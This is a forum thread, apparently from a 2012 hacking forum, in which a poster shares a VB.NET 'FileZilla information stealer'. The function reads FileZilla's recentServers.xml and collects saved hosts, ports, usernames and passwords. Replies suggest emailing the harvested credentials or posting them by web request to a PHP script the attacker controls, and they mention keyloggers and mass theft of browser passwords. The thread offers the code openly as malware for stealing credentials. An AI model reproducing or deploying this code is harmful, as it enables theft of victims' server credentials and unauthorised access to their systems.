Thread: [\[VB.NET\]\[SNIPPET\] Filezilla information stealer](#)

SnipeYa25 - February 1, 2012, 1:40 am

Well Ive seen a few about and i thought they were messy or overly complicated, Soo i thought i would let "yall" take a look at mine.

Function:

```
Code Function ReadFileZilla()  
    Dim XMLDOC As New System.Xml.XmlDocument  
    XMLDOC.Load(Environ("AppData") & "\FileZilla\recentServers.xml")  
    Dim XMLPath As Xml.XmlElement  
    XMLPath = XMLDOC.SelectSingleNode("//Server")  
    Dim Servers As Integer  
    Servers = XMLDOC.GetElementsByTagName("Server").Count  
    Dim i As Integer = 0  
    Dim Output As String = ""  
    Do Until i = Servers  
        i += 1  
        Output += _  
        "Server: " & i & Environment.NewLine & _  
        "  Host: " & XMLPath.Item("Host").InnerText & Environment.NewLine & _  
        "  Port: " & XMLPath.Item("Port").InnerText & Environment.NewLine & _  
        "  User: " & XMLPath.Item("User").InnerText & Environment.NewLine & _  
        "  Pass: " & XMLPath.Item("Pass").InnerText & Environment.NewLine & Environment.NewLine  
        If i < Servers Then XMLPath = XMLDOC.SelectSingleNode("//Server").NextSibling  
    Loop  
    Return Output  
End Function
```

Then simply use "MsgBox(ReadFileZilla)" to see the output or get it to perhaps send you some emails ?

I don't know why you would only want your Key Logger to output Firefox information. This would be good coded in mIRC. So you could mass output emails, and passwords on desired browsers. Nice job, nonetheless.

SnipeYa25 - February 1, 2012, 3:09 pm

@Michael

or you could send it to a php script on your ftp that writes it to a text file using a web request.
